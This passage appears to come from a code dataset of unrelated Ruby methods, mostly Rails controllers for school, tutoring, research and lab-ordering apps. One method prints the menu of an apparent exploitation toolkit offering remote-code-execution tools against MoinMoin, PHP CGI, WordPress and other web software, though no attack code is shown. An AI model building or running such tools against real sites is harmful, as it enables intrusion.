end\n\n # Check whether klass exists, note that the EE survey results for TAs may not not follow the same section number convention as the other results\n formatted_semester = semester[-4..-1] + case semester[0..-6] when \"SPRING\" then \"1\" when \"SUMMER\" then \"2\" when \"FALL\" then \"3\" else \"UNKNOWN\" end\n klass = Klass.find( :first, :conditions => { :course_id => course.id, :semester => formatted_semester, :section => section } )\n if klass.nil?\n if title == 'ta'\n raise \"Error: TA #{first_name} #{last_name} belongs to unknown section of #{course_number}\"\n elsif title == 'prof'\n puts \"No klass for #{semester} #{course.course_abbr} found. Creating new one.\"\n klass = Klass.create( :course_id => course.id, :semester => formatted_semester, :section => section )\n else\n raise \"Error\"\n end\n end\n\n # Check whether instructor is an instructor or a TA for the klass\n case title\n when \"prof\"\n klass.instructors << instructor unless klass.instructors.include? instructor\n klass.save\n when \"ta\"\n klass.tas << instructor unless klass.tas.include? instructor\n klass.save\n else\n raise \"Error: Title #{title} not recognized. Should be either 'prof' or 'ta'\"\n end\n\n return [1, instructor, klass]\nend", "def index\n if logged_as_teacher?\n @sidequest= Sidequest.new\n @sidequests = Sidequest.where(teacher_id: session[:user_id])\n end\n if logged_as_student?\n student = Student.find(session[:user_id])\n progres = student.progre\n @sidequests = Sidequest.where(level: progres.lvl, finished: false)\n end\n end", "def template_page(site); end", "def lab\n # STUB\n end", "def information\n @show_buttons = false\n\n @display_username = session[:display_username]\n # If the user has not logged in...\n if ( @display_username.nil? )\n redirect_to root_path\n end\n @fields_allowed_to_edit = Array.new\n @user_roles = session[:user_role]\n this_field = Array.new\n\n @id = params[:id].to_i\n school = params[:id].to_s\n\n # If the user's school = school page to view\n if session[:user_role] == 'admin'\n if school == [@id.to_s, session[:school].parameterize].join(\"-\")\n if params.has_key?(:mode)\n # Editing conditional to URL parameter (\"edit\" or \"view\" values)\n @edit = (params[:mode] == \"edit\")\n @mode = params[:mode]\n else\n # Edit by role default\n @edit = true\n @mode = \"edit\"\n end\n @show_buttons = true\n else\n @edit = false\n @show_buttons = false\n @mode = \"view\"\n end\n @approve = false\n\n if !(@fields = SettingsField.get_editing_fields( session[:user_role_id] )).nil?\n @fields.each do |this_field|\n @fields_allowed_to_edit << this_field.display_sections_id\n end\n end\n elsif session[:user_role] == 'editor'\n if params.has_key?(:mode)\n @edit = (params[:mode] == \"edit\")\n else\n @edit = true\n end\n @approve = true\n @show_buttons = true\n end\n\n @program = Program.find(@id)\n @field_string = FieldsString.find_by_program_id(@id)\n\n @fields_to_display = FieldName.select_fields_to_display( @id )\n\n @fields_to_display.each do |f|\n this_field = Array.new\n\n # Save current values for all fields. This value will be compared against the form\n # values after saving. If they are different, they get saved as \"temp\" values in each\n # table. These new values need to get approved before displaying on the webpage.\n this_field[0] = @id # field program id\n this_field[1] = f.id # field id\n this_field[2] = f.field_name # field name\n this_field[3] = f.field_value.to_s.strip # field original value\n this_field[4] = f.content_type # field or table cell\n this_field[5] = f.field_type # string, text, decimal or integer\n this_field[6] = f.display_sections_id # Display Section id (table)\n\n end\n\n # Get all of the table configurations (title, number of rows and columns)\n @data_table_configs = DataTableConfig.select_tables_by_program_id( @id )\n\n # Get how many table configurations\n table_types_amount = @data_table_configs.count\n @table_types = Array.new( table_types_amount + 1 )\n @table_names = Array.new( table_types_amount + 1 )\n @table_has_subheaders = Array.new( table_types_amount + 1 )\n\n # Create array containing headers, subheaders, categories and data for each table\n @data_table_configs.each do |table_configuration|\n\n first_data_row = 0\n this_row = table_configuration.rows\n this_column_subheader = 1\n table_name = table_configuration.table_name_id\n\n # +1 since arrays start in 0\n @table = Array.new( table_configuration.rows + 1 ) { Array.new( table_configuration.columns + 1) }\n\n data_table = DataTable.select_table_config_by_program_id( @id, table_configuration.id )\n data_table.each do |cell|\n this_cell = Array.new\n\n # Save current values for all table cells. This value will be compared against the form\n # values after saving. If they are different, they get saved as \"temp\" values in each\n # table. These new values need to get approved before displaying on the webpage.\n this_cell[0] = cell.id # table cell id\n this_cell[1] = cell.cell_value.to_s.strip # table cell original value\n this_cell[2] = cell.cell_value_temp.to_s.strip # table cell temporary value\n this_cell[3] = cell.program_id # program_id\n\n # Get the number of the first data row\n if (first_data_row == 0)\n first_data_row = cell.cell_row\n end\n\n # Fills each table type with its cell values per row and column\n if ( this_cell[1] == \"x\" || ( this_cell[1][0..1].include? \"x \") || ( this_cell[1][0..1].include? \"x\\n\") || ( this_cell[1][0..1].include? \"x\\r\") )\n # ascii checkmark symbol\n @table[ cell.cell_row ][ cell.cell_column ] = { :value => this_cell[1].gsub(\"x\",\"\\u2713\"), :temp_value => this_cell[2], :id => this_cell[0] }\n else\n @table[ cell.cell_row ][ cell.cell_column ] = { :value => this_cell[1], :temp_value => this_cell[2], :id => this_cell[0] }\n end\n\n end\n\n # Add categories to the table from the bottom up, if exist\n if ( table_configuration.has_categories )\n categories = Category.select_categories_by_table_config_id( table_configuration.id )\n categories.each do |category|\n if ( category.category.to_s == \"x\" || ( category.category.to_s[0..1].include? \"x \" ) || ( category.category.to_s[0..1].include? \"x\\n\") || ( category.category.to_s[0..1].include? \"x\\r\") )\n # ascii checkmark symbol\n @table[ this_row ][ 1 ] = { :value => category.category.to_s.gsub(\"x\",\"\\u2713\"), :temp_value => nil, :id => category.id }\n else\n @table[ this_row ][ 1 ] = { :value => category.category, :temp_value => nil, :id => category.id }\n end\n this_row -= 1\n end\n end\n\n # Add subheaders to the table from right to left (if the table has subheaders)\n # row 1 = header, row 2 = subheader\n # If first_data_row = 2 there are no subheaders for the table, just a header\n duplicate_subheaders = false\n if ( first_data_row == 3 )\n subheaders = SubHeader.select_subheaders_by_table_name_id( table_configuration.table_name_id )\n\n # -1 because it needs to exclude the categories subheader\n if ( table_configuration.has_categories )\n amount_of_subheaders = subheaders.count - 1\n else\n amount_of_subheaders = subheaders.count\n end\n\n if ( amount_of_subheaders > 0 )\n table_has_subheaders = true\n\n # If the amount of subheaders (minus the category subheader) mod 2 = 0 then\n # all the subheaders need to get duplicated as a comparison table\n if ( table_configuration.has_categories )\n if ( ( table_configuration.columns - 1 ) % 2 == 0 )\n duplicate_subheaders = true\n end\n else\n if ( table_configuration.columns % 2 == 0 )\n duplicate_subheaders = true\n end\n end\n\n subheaders.each do |subheader|\n @table[ 2 ][ this_column_subheader ] = { :value => subheader.subheader, :temp_value => nil, :id => subheader.id }\n\n # Subheaders duplication will happen at current column number + amount_of_subheaders\n if ( duplicate_subheaders && this_column_subheader >= 2 || duplicate_subheaders && this_column_subheader >= 1 && !table_configuration.has_categories )\n @table[ 2 ][ this_column_subheader + amount_of_subheaders ] = { :value => subheader.subheader, :temp_value => nil, :id => subheader.id }\n end\n this_column_subheader += 1\n end\n else\n table_has_subheaders = false\n end\n end\n\n headers = MainHeader.select_headers_by_table_name_id( table_configuration.table_name_id )\n amount_of_headers = headers.count\n\n # Standard table headers start at column 1,\n # if subheaders exist, then headers start at column 2\n if ( duplicate_subheaders )\n column_increment = amount_of_subheaders\n if ( table_configuration.has_categories )\n this_column_header = 2\n else\n this_column_header = 1\n end\n else\n column_increment = 1\n this_column_header = 1\n end\n\n headers.each do |header|\n\n # Adds a column span number between hashes for column >= 2 when categories are present\n # or for tables without categories\n if ( this_column_header >= 2 && table_configuration.has_categories ) || ( this_column_header >= 1 && !table_configuration.has_categories )\n\n #if @table[ 1 ][ this_column_header ].has_key?(\"value\")\n new_value = \"#\" + column_increment.to_s + \"#\" + header.header.to_s.strip\n #else\n #new_value = \"\"\n #end\n @table[ 1 ][ this_column_header ] = { :value => new_value, :temp_value => nil, :id => header.id }\n\n else\n\n @table[ 1 ][ this_column_header ] = { :value => header.header.to_s, :temp_value => nil, :id => header.id }\n\n end\n\n this_column_header += column_increment\n\n end\n\n # Get table name\n table_title = TableName.find( table_configuration.table_name_id )\n\n @table_types[ table_configuration.table_name_id ] = @table\n @table_names[ table_configuration.table_name_id ] = table_title.display_table_name\n @table_has_subheaders[ table_configuration.table_name_id ] = table_has_subheaders\n\n end\n\n end", "def test04_L1DLT04_TC_24418\n\t\t#skipping for now, currently unable to interact with the \"Tweet\" button\n\tend", "def notes\n super()\n\n section = __method__\n text = \"\"\n html = \"\"\n\n frontend_url = generate_frontend_url\n if frontend_url\n text += \"Frontend URL: #{frontend_url}\\n\\n\"\n add_short_text(\"additional_info\", \"View logs here: #{frontend_url}\")\n html += \"<b>Frontend URL</b>: #{frontend_url}<br><br>\"\n end\n\n add_text(section, text)\n add_html(section, html)\n end", "def index\n if current_user.teacher?\n @tutorings = current_user.tutorings\n else\n if current_user.homeworks.any? \n @tutorings = Tutoring.where(homework_id: current_user.homeworks.pluck(:id))\n else\n @tutorings = []\n end \n end\n end", "def cfs_kit_create_about_screen(scr_title, scr_text)\n\n t = Time.new \n time_stamp = \"_#{t.year}_#{t.month}_#{t.day}_#{t.hour}#{t.min}#{t.sec}\"\n\n scr_header = \"\n ###############################################################################\n # cfs_kit About Screen\n #\n # Notes:\n # 1. Do not edit this file because it is automatically generated and your\n # changes will not be saved.\n # 2. File created by create_app_screen.rb on #{time_stamp}\n #\n # License:\n # Written by David McComas, licensed under the copyleft GNU General Public\n # License (GPL).\n #\n ###############################################################################\n\n SCREEN AUTO AUTO 0.5\n GLOBAL_SETTING BUTTON BACKCOLOR 221 221 221\n \n TITLE \\\"#{scr_title}\\\"\n SETTING BACKCOLOR 162 181 205\n SETTING TEXTCOLOR black\n \n VERTICALBOX \\\"\\\" 10\n \"\n\n scr_trailer = \"\n END # Vertical Box\n \"\n \n scr_file = File.join(Osk::SCR_DIR,Osk::ABOUT_SCR_FILE)\n\n begin\n \n # Always overwrite the temp file \n File.open(scr_file,\"w\") do |f| \n \n f.write (scr_header)\n\n #f.write (\"\\n LABEL \\\" \\\"\\n\")\n \n info_line = 1\n info_line_str = \"\"\n scr_text.each do |line|\n info_line_str << \" NAMED_WIDGET line_#{info_line} LABEL \\\"#{line}\\\"\\n\" \n info_line_str << \" SETTING TEXTCOLOR 0 0 153\\n\"\n info_line += 1\n end\n \n f.write (info_line_str)\n f.write (\"\\n LABEL \\\" \\\"\\n\")\n f.write (scr_trailer)\n\n end # File\n \n rescue Exception => e\n puts e.message\n puts e.backtrace.inspect \n end\n\nend", "def reload()\n @item.overview = simple_text_get(@item.overview, \"/overview/overview\", \"overview\") || \"\"\n return if @faculty.has_errors?\n\n url = @base_url + \"/overview/research-areas\"\n data = JsonUtils::http_get(url, @verbose)\n if data == nil\n @faculty.add_error(\"Could not fetch research areas data for edit\")\n return\n elsif data[\"error\"]\n @faculty.add_error(\"Could not fetch research areas data for edit. Error: #{data['error']}.\")\n return\n end\n @item.research_areas = ResearchAreaItem.from_hash_array(data[\"research_areas\"] || [])\n\n url = @base_url + \"/overview/ontheweb\"\n data = JsonUtils::http_get(url, @verbose)\n if data == nil\n @faculty.add_error(\"Could not fetch on the web data for edit\")\n return\n elsif data[\"error\"]\n @faculty.add_error(\"Could not fetch on the web data for edit. Error: #{data['error']}.\")\n return\n end\n\n # convert the links to the expected format\n links = data[\"web_links\"] || []\n links = links.map do |link|\n { uri: link[\"rabid\"], rank: link[\"rank\"], text: link[\"text\"], url: link[\"url\"] }\n end\n @item.on_the_web = OnTheWebItem.from_hash_array(links)\n\n @item.research_overview = simple_text_get(@item.research_overview, \"/research/overview\", \"research_overview\")\n return if @faculty.has_errors?\n\n @item.research_statement = simple_text_get(@item.research_statement, \"/research/statement\", \"research_statement\")\n return if @faculty.has_errors?\n\n @item.funded_research = simple_text_get(@item.funded_research, \"/research/funded\", \"funded_research\")\n return if @faculty.has_errors?\n\n @item.scholarly_work = simple_text_get(@item.scholarly_work, \"/research/scholarly\", \"scholarly_work\")\n return if @faculty.has_errors?\n\n @item.awards = simple_text_get(@item.awards,\"/background/honors\",\"awards_honors\")\n return if @faculty.has_errors?\n\n @item.affiliations_text = simple_text_get(@item.affiliations_text, \"/affiliations/affiliations\", \"affiliations\")\n return if @faculty.has_errors?\n\n @item.teaching_overview = simple_text_get(@item.teaching_overview, \"/teaching/overview\", \"teaching_overview\")\n end", "def create_back_and_continue_for_study form_id, current_page\n # determine which sections are included in the extraction form and assign them to an array\n # order the included pages\n included_sections = ExtractionFormSection.where(:extraction_form_id=>form_id, :included=>\"t\")\n page_names = included_sections.collect{|x| x.section_name}\n page_names = [\"publications\"] + page_names\n\n titles = {\n \"arms\"=>\"Study Arms\",\n \"design\"=>\"Design Details\",\n \"baselines\"=>\"Baseline Characteristics\",\n \"outcomes\"=>\"Outcome Setup\",\n \"results\"=>\"Outcome Results\",\n \"adverse\"=>\"Adverse Events\",\n \"quality\"=>\"Study Quality\"\n }\n # find the current page in the array\n position = page_names.index(current_page)\n\n # get the previous page info\n # if there are no more entries before this one, link back to the edit instructions\n previous_url = \"\"\n previous_title = \"\"\n if position == 0 || position.nil?\n previous_url = \"edit\"\n elsif position == 1\n previous_url = '../../publications'\n previous_title = 'Extraction Form List'\n else\n # otherwise get the previous entry and title\n previous_url = page_names[position-1]\n previous_title = titles[previous_url]\n end\n\n # get the next page info\n # if there are no entries after this one, link to the summary page\n next_url = \"\"\n next_title = \"\"\n if position == 0 || position.nil?\n next_url = \"extraction_forms/#{form_id}/#{page_names[1]}\"\n next_title = titles[page_names[1]]\n elsif position == page_names.length-1\n next_url = \"summary\"\n else\n next_url = page_names[position+1]\n next_title = titles[next_url]\n end\n\n if previous_url == \"edit\"\n render :partial=>\"studies/first_section_back_buttons\", :locals=>{:next_url=>next_url, :next_title=>next_title}\n elsif next_url == \"summary\"\n render :partial=>\"studies/last_section_continue_buttons\",:locals=>{:previous_url=>previous_url, :previous_title=>previous_title}\n else\n render :partial=>'studies/back_and_continue_buttons', :locals=>{:previous_url=>previous_url,:next_url=>next_url,:previous_title=>previous_title,:next_title=>next_title}\n end\n end", "def show_primer_table primer_tab, primers_over_60, primers_over_90\n data = show do\n title \"Create an IDT DNA oligos order\"\n \n warning \"Oligo concentration for primer(s) #{primers_over_60} will have to be set to \\\"100 nmole DNA oligo.\\\"\" if primers_over_60 != \"\"\n warning \"Oligo concentration for primer(s) #{primers_over_90} will have to be set to \\\"250 nmole DNA oligo.\\\"\" if primers_over_90 != \"\"\n \n #check \"Click Custom DNA Oligos, click Bulk Input. Copy paste the following table and then click the Update button.\"\n \n check \"Under \\\"Custom DNA Oligos\\\", click \\\"DNA Oligos\\\", then under \\\"Single-stranded DNA\\\" click \\\"Order now\\\", and click \\\"Bulk input\\\". Copy and paste the following table there.\"\n table primer_tab\n \n check \"Click Add to Order, review the shopping cart to double check that you entered correctly. There should be #{operations.length} primers in the cart.\"\n check \"Click Checkout, then click Continue.\"\n check \"Enter the payment information, click the oligo card tab, select the Card1 in Choose Payment and then click Submit Order.\"\n check \"Go back to the main page, let it sit for 5-10 minutes, return and refresh, and find the order number for the order you just placed.\"\n \n get \"text\", var: \"order_number\", label: \"Enter the IDT order number below\", default: 100\n end\n\n operations.each { |op| op.set_output_data(\"Primer\", :order_number, data[:order_number]) }\n end", "def show\n\n @all_annotation_string = ''\n Annotation.where(passage_id: @passage.id).each do |annot|\n @all_annotation_string = @all_annotation_string + \"#{annot.element}@-@#{annot.original_spanish}@-@#{annot.annotation_content}$-$\"\n end\n @all_annotation_string = @all_annotation_string.gsub(/\\R+/, ' ')\n\n\n #==================================================================\n #DO NOT ALLOW TO READ IF NOT GRANTED PRIVILEGE\n #DO NOT LINK TO EDIT IF NOT GRANTED PRIVILEGE\n privilege = PassageShare.find_by(recieving_user_id: @current_user.id, passage_id: @passage.id)\n\n\n if (@passage.user_id == @current_user.id)\n author = true\n else\n author = false\n end\n\n if author || privilege\n else \n redirect_back fallback_location: '/'\n end\n\n if author || privilege.edit_privilege\n @has_editing_privilege = true\n else \n @has_editing_privilege = false\n end\n #==================================================================\n\n #==================================================================\n #RETRIEVE AUTHOR OF CURRENT PASSAGE\n if author\n @author = @current_user\n else\n @author = User.find(@passage.user_id)\n end\n #==================================================================\n\n #==================================================================\n #RETRIEVE HISTORY OF UPDATES FOR CURRENT PASSAGE AND USERS THAT MADE THEM\n @update_history = UpdateTrack.where(passage_id: @passage.id).order(\"created_at DESC\")\n @participating_users = {}\n @time_since = {}\n @update_history.each do |update|\n @time_since[update.id] = update_elapse_count(update[:created_at])\n @participating_users[update.id] = User.find(update.last_user_id)\n end \n #==================================================================\n end", "def special_usage\n puts \"Available Options for Specialty Tools Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n puts \"coldfusion\".light_yellow + \" => \".white + \"Coldfusion Tools\".light_red\n puts \"moinmoin\".light_yellow + \" => \".white + \"MoinMoin RCE\".light_red\n puts \"phpcgi\".light_yellow + \" => \".white + \"PHP CGI RCE Tools\".light_red\n puts \"phpBB\".light_yellow + \" => \".white + \"phpBB Tools\".light_red\n puts \"ipb\".light_yellow + \" => \".white + \"IPB Tools\".light_red\n# puts \"joomla\".light_yellow + \" => \".white + \"Joomla! Tools\".light_red\n# puts \"myBB\".light_yellow + \" => \".white + \"MyBB Tools\".light_red\n# puts \"vBulletin\".light_yellow + \" => \".white + \"vBulletin Tools\".light_red\n puts \"wp\".light_yellow + \" => \".white + \"WordPress Tools\".light_red\n puts \"fckeditor\".light_yellow + \" => \".white + \"FCKEditor Tools\".light_red\n print_line(\"\")\nend", "def info_for_edit_page\n @is_super_adm = is_super?\n\n if @is_super_adm\n # Loading Choosing of adm\n @admins = User.admins_list\n\n if @admins.empty?\n @mentors = [@admins]\n else\n employee = @user.client.employee\n if employee.present?\n @admins_cur = employee.employee_id\n @mentors_cur = @user.client.employee_id\n else\n @admins_cur = params[:administrator_id]\n @mentors_cur = 0\n end\n @mentors = User.mentors_list(@admins_cur, additional_users: User.all_local_admins)\n end\n elsif current_user.local_admin?\n @mentors = User.mentors_list(current_user.role_model.id, additional_users: [current_user])\n @mentors_cur = @user.client.employee_id\n end\n end", "def index\n #if it's a preview, then we want to show them a special splash page\n if params[:assignmentId] == RTurkWrapper::PreviewAssignmentId\n SplashView.create(:ip_address => request.ip)\n redirect_to :action => 'splash_page'\n return\n end\n \n #pull out the task from the db\n @t = Task.find(params[:id]) \n \n #kick them out if they've seen it before\n if SawExperiment.seen_the_experiment_previously?(params[:workerId], @t.id)\n redirect_to :action => :only_once\n return\n end \n\n #if this task was previously completed, we need to move them away\n if @t.completed?\n redirect_to :action => :run_completed, :id => @t.id\n return\n end\n \n\n #increment the number of page reloads\n @t.increment!(:num_page_reloads)\n \n #start the timer if this is the first time in this HIT\n @t.update_attributes(:started_at => Time.now) if params[:workerId] != @t.mturk_worker_id\n\n #assign this task to this particular worker\n @t.update_attributes(:mturk_worker_id => params[:workerId], :ip_address => request.ip)\n\n #assign the assignment ID\n @t.update_attributes(:mturk_assignment_id => params[:assignmentId]) \n\n #did they do the demographic pretest? If they didn't send them to it\n if Demographic.find_by_mturk_worker_id(params[:workerId]).nil?\n redirect_to :action => :demographics,\n :workerId => params[:workerId],\n :id => @t.id,\n :assignmentId => params[:assignmentId]\n return\n end\n \n #send subjects in the S arm to the selection page\n if @t.select_arm_and_study_unselected?\n redirect_to :action => :select_study, :id => @t.id\n #if they're in the R arm, they're off to the study itself\n else\n redirect_to :action => :study, :id => @t.id\n end \n end", "def newauthor\n require 'Pashua'\n include Pashua\n\n config = <<EOS\n *.title = Add a new author page\n cb.type = textfield\n cb.label = Name of author page to create\n cb.width = 220\n db.type = cancelbutton\n db.label = Cancel\n db.tooltip = Closes this window without taking action\nEOS\n\n pagetmp = pashua_run config\n exit if pagetmp[\"cancel\"] == 1\n page = pagetmp[\"cb\"]\n pname = \"/wiki/data/pages/a/#{clean_pagename(page)}.txt\"\n\n File.open(pname,\"w\") {|f| f<<\"h1. #{page}\\n\\nh2. Research\\n\\nh2. Links\\n * [[ |Homepage]]\n \\n{{page>abib:#{page}}}\"}\n\n `chmod a+rw \"#{pname}\"`\n\n `open \"http://localhost/wiki/a:#{page}?do=edit\"`\nend\n\n# removes current page and all related pages (ref, skimg etc) after confirmation\ndef delete\n require 'pashua'\n include Pashua\n config = <<EOS\n *.title = Delete this page?\n cb.type = text\n cb.text = This action will delete this page, and all related pages (ref:, notes:, skimg:, kindle:, etc). Are you sure?\n cb.width = 220\n db.type = cancelbutton\n db.label = Cancel\nEOS\n pagetmp = pashua_run config\n exit if pagetmp['db'] == \"1\"\n\n pname = cururl.split(\"/\").last.downcase\n page = pname.split(\":\").last\n ns = pname.split(\":\").first\n\n directories = %w[ref notes skimg kindle clip]\n\n if directories.index(ns)\n paths = directories.map {|f| \"#{Wiki_path}/data/pages/#{f}/#{page}.txt\"}\n\n else\n paths = [\"#{Wiki_path}/data/pages/#{clean_pagename(pname).gsub(\":\", \"/\")}.txt\"]\n end\n\n c = 0\n paths.each do |f|\n c += 1 if try { File.delete(f) }\n end\n\n growl \"#{c ? c : 0} pages deleted\"\nend\n\n#### Running the right function, depending on command line input ####\n\n@chrome = Appscript.app('Google Chrome')\nsend *ARGV unless ARGV == []\n", "def loadtutors\n #service = googleauthorisation(request)\n returned_authorisation = googleauthorisation(request)\n if returned_authorisation[\"authorizationurl\"]\n redirect_to returned_authorisation[\"authorizationurl\"] and return\n end\n service = returned_authorisation[\"service\"]\n spreadsheet_id = current_user[:ssurl].match(/spreadsheets\\/d\\/(.*?)\\//)[1]\n #spreadsheet_id = '1CbtBqeHyYb9jRmROCgItS2eEaYSwzOMpQZdUWLMvjng'\n logger.debug 'about to read spreadsheet - service ' + service.inspect\n # Need some new code to cater for variation in the spreadsheet columns.\n # Will build an array with 'column names' = 'column numbers'\n # This can then be used to identify columns by name rather than numbers.\n #\n #this function converts spreadsheet indices to column name\n # examples: e[0] => A; e[30] => AE \n e=->n{a=?A;n.times{a.next!};a} \n columnmap = Hash.new # {'column name' => 'column number'}\n range = \"TUTORS!A3:LU3\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n headerrow = response.values[0]\n logger.debug \"response: \" + headerrow.inspect\n headerrow.each_with_index do |value, index| \n columnmap[value] = index\n end\n logger.debug \"columnmap: \" + columnmap.inspect\n #readcolumns = Array.new\n\n # pname: t[1],\n # subjects: t[2],\n # phone: t[3],\n # email: t[4],\n # sname: t[5],\n # comment: t[6],\n \n # Derived fields\n # status: \"active\" unless prefixed with zz..\n # firstaid: \"yes\" if name has suffix +\n # firstsesson: \"yes\" if name has suffix *\n\n readcolumns = [ 'NAME + INITIAL',\n 'SUBJECTS',\n 'MOBILE',\n 'EMAIL',\n 'SURNAME',\n 'NOTES'\n ]\n colerrors = \"\"\n readcolumns.each_with_index do |k, index|\n unless columnmap[k] \n colerrors += k + ':'\n end \n end\n # ensure we can read all the required spreadsheet column\n # if not, terminate and provide a user message\n unless colerrors.length == 0 # anything put into error string\n colerrors = \"Load Tutors - not all columns are findable: \" + colerrors\n redirect_to load_path, notice: colerrors\n return\n end\n # have everything we need, load the tutors from the spreadsheet\n # placing info into @tutors.\n startrow = 4 # row where the loaded data starts \n flagFirstPass = 1\n readcolumns.each_with_index do |k, index|\n columnid = e[columnmap[k]]\n range = \"TUTORS!#{columnid}#{startrow}:#{columnid}\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n if flagFirstPass == 1\n @tutors = Array.new(response.values.length){Array.new(9)}\n for rowcount in 0..response.values.count-1 \n \t @tutors[rowcount][0] = rowcount + startrow\n end\n flagFirstPass = 0\n end\n #rowcount = 0\n #response.values.each do |r|\n #for rowcount in 0..response.values.count \n response.values.each_with_index do |c, rowindex|\n \t @tutors[rowindex ][index + 1] = c[0]\n \t #bc = v.effective_format.background_color\n \t #logger.debug \"background color: red=\" + bc.red.to_s +\n \t # \" green=\" + bc.green.to_s +\n \t\t # \" blue=\" + bc.blue.to_s\n end \n end\n\n #logger.debug \"tutors: \" + @tutors.inspect\n # Now to update the database\n loopcount = 0\n @tutors.each do |t| # step through all tutors from the spreadsheet\n t[7] = \"\"\n pname = t[1]\n logger.debug \"pname: \" + pname.inspect\n if pname == \"\" || pname == nil\n t[7] = t[7] + \"invalid pname - do nothing\"\n next\n end\n # determine status from name content - been marked by leading z...\n thisstatus = \"active\"\n if m = pname.match(/(^z+)(.+)$/) # removing leading z.. (inactive entries)\n pname = m[2].strip\n thisstatus = \"inactive\"\n #t[1] = pname\n end\n # look for + (firstaid:) * (firstsession) at end of pname \n # (first aid trained or first session trained)\n thisfirstaid = 'no'\n thisfirstlesson = 'no'\n if m = pname.match(/([+* ]+)$/)\n thisfirstaid = (m[1].include?('+') ? 'yes' : 'no')\n thisfirstlesson = (m[1].include?('*') ? 'yes' : 'no')\n pname = pname.gsub($1, '') unless $1.strip.length == 0\n end\n pname = pname.strip\n \n db_tutor = Tutor.find_by pname: pname\n if(db_tutor) # already in the database\n flagupdate = 0 # detect if any fields change\n updatetext = \"\"\n if db_tutor.comment != t[6]\n db_tutor.comment = t[6]\n flagupdate = 1\n updatetext = updatetext + \" - comment\" \n end\n if db_tutor.sname != t[5]\n db_tutor.sname = t[5]\n flagupdate = 1\n updatetext = updatetext + \" - sname\" \n end\n if db_tutor.email != t[4]\n db_tutor.email = t[4]\n flagupdate = 1\n updatetext = updatetext + \" - email\" \n end\n if db_tutor.phone != t[3]\n db_tutor.phone = t[3]\n flagupdate = 1\n updatetext = updatetext + \" - phone\" \n end\n if db_tutor.subjects != t[2]\n db_tutor.subjects = t[2]\n flagupdate = 1\n updatetext = updatetext + \" - subjects\" \n end\n if db_tutor.status != thisstatus \n db_tutor.status = thisstatus\n flagupdate = 1\n updatetext = updatetext + \" - status\" \n end\n if db_tutor.firstaid != thisfirstaid \n db_tutor.firstaid = thisfirstaid\n flagupdate = 1\n updatetext = updatetext + \" - firstaid\" \n end\n if db_tutor.firstlesson != thisfirstlesson\n db_tutor.firstlesson = thisfirstlesson\n flagupdate = 1\n updatetext = updatetext + \" - firstlesson\" \n end\n logger.debug \"flagupdate: \" + flagupdate.inspect + \" db_tutor: \" + db_tutor.inspect\n if flagupdate == 1 # something changed - need to save\n if db_tutor.save\n logger.debug \"db_tutor saved changes successfully\"\n t[7] = t[7] + \"updated\" + updatetext \n else\n logger.debug \"db_tutor saving failed - \" + @db_tutor.errors\n t[7] = t[7] + \"failed to create\"\n end\n else\n t[7] = t[7] + \"no changes\"\n end\n else\n # This tutor is not in the database - so need to add it.\n @db_tutor = Tutor.new(\n pname: pname,\n subjects: t[2],\n phone: t[3],\n email: t[4],\n sname: t[5],\n comment: t[6],\n status: thisstatus,\n firstlesson: thisfirstlesson,\n firstaid: thisfirstaid\n )\n #if pname =~ /^zz/ # the way they show inactive tutors\n #if t[1] =~ /^zz/ # the way they show inactive tutors\n # @db_tutor.status = \"inactive\"\n #end\n logger.debug \"new - db_tutor: \" + @db_tutor.inspect\n if @db_tutor.save\n logger.debug \"db_tutor saved successfully\"\n t[7] = t[7] + \"created\" \n else\n logger.debug \"db_tutor saving failed - \" + @db_tutor.errors.inspect\n t[7] = t[7] + \"failed to create\"\n end\n end\n #exit\n if loopcount > 5\n #break\n end\n loopcount += 1\n end\n #exit\n end", "def who_we_are\r\n end", "def university; end", "def assignment_by_teacher(student_user)\n self.line_break\n puts \"Please select a teacher by typing out their full name below:\".colorize(:light_blue)\n self.all_teachers(student_user)\n self.line_break\n student_input = gets.chomp.titleize\n self.line_break\n if Teacher.find_by(name: student_input)\n puts \"Here are your assignments for Professor #{student_input}:\".colorize(:magenta)\n s = Student.find_by(name: student_user)\n t = Teacher.find_by(name: student_input)\n list = s.assignments.select do |assignment|\n assignment.teacher_id == t.id\n end\n list.each do |assignment|\n puts assignment.task\n end\n self.student_main_menu(student_user)\n else \n puts \"Invalid response!\".colorize(:yellow)\n self.assignment_by_teacher(student_user)\n end\n end", "def talist\n @courses = Course.all\n @user=User.all\n\n @enrollment_tas = EnrollmentTa.all\n @ta_list=get_ta_list_from_enrollment_tas(@enrollment_tas)\n render 'talist'\n\n end", "def handle_main_course\n @current_post = Post.find(session[:current_post_id])\n @current_post.toggle_main_course #main course is a boolean\n\n @poster = @current_post.user\n #notify the poster that their post has been added to the main_course post feed\n @poster.notifications.create(description: \"Your post has been added to the main course menu!!! Congratulations!\",\n from_post_id: @current_post.id)\n respond_to do |format|\n format.js { render :file => 'shared/handle_main_course.js.erb' }\n end\n end", "def elearning\n @title = \"e-Learning\"\n end", "def about_us; end", "def index\n\n @generate_role_links = true\n \n session[:return_to] = {:controller => 'tracker', :action => 'index'}\n flash['notice'] = flash['notice']\n # see if we have a database\n if ! DbCheck.exist?\n render( :action => 'not_configured')\n return\n end\n \n if @logged_in_user && @logged_in_user.active_role\n case @logged_in_user.active_role.name\n when \"Designer\"\n designer_home_setup\n render( :action => 'designer_home' )\n when \"FIR\"\n fir_home_setup\n render( :action => 'fir_home' )\n when \"Reviewer\"\n reviewer_home_setup\n render( :action => 'reviewer_home' )\n when \"Manager\", \"Admin\"\n manager_home_setup\n render 'manager_home'\n when \"PCB Admin\"\n pcb_admin_home_setup\n render( :action => 'pcb_admin_home' )\n when \"Basic User\"\n manager_home_setup\n render( :action => 'basic_user_home')\n else\n reviewer_home_setup\n render( :action => 'reviewer_home' )\n end\n else\n # No user is identified.\n @pcbas = PartNum.get_active_pcbas\n @designs = Design.get_active_designs\n #@designs.delete_if { |d| d.pcb_number }\n @designs = @designs.sort_by { |d| d.pcbas_string }\n \n end\n \n session[:return_to] = {:controller => 'tracker', :action => 'index'}\n\n end", "def show\n \n \n if [email protected]_users\n redirect_to :back, notice: \"You are not a discover user on this study\"\n \n else\n render :layout=>\"study_steps\", :locals=>{:in_association=>false, :wizard_path=>study_steps_path+'/contributor'}\n\n end\n \n \n \n end", "def overview\n\n end", "def home\n # check if signed_in and then display (you are currently signed in, view your profile)\n # automatically renders page 'users/home'\n if signed_in?\n redirect_to current_user\n else\n @event = 